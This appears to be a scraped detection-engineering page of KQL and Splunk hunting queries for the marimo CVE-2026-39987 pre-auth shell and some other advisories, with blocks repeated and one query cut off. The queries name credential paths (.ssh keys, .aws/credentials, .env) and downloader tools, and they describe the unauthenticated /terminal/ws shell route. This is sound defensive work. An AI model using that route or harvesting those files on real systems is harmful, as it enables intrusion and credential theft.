Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2020-9715")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2020-9715")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-134 use cases0 techniques3 kill-chain phases detected
Fortinet FortiClient EMS contains a SQL injection vulnerability that may allow an unauthenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests. Vendor: Fortinet, Product: FortiClient EMS. Federal patch due: 2026-04-16.
CVEsCVE-2026-21643
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-21643")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-21643")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-134 use cases0 techniques3 kill-chain phases detected
Adobe Acrobat and Reader contain a prototype pollution vulnerability that allows for arbitrary code execution. Vendor: Adobe, Product: Acrobat and Reader. Federal patch due: 2026-04-27.
CVEsCVE-2026-34621
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-34621")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-34621")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
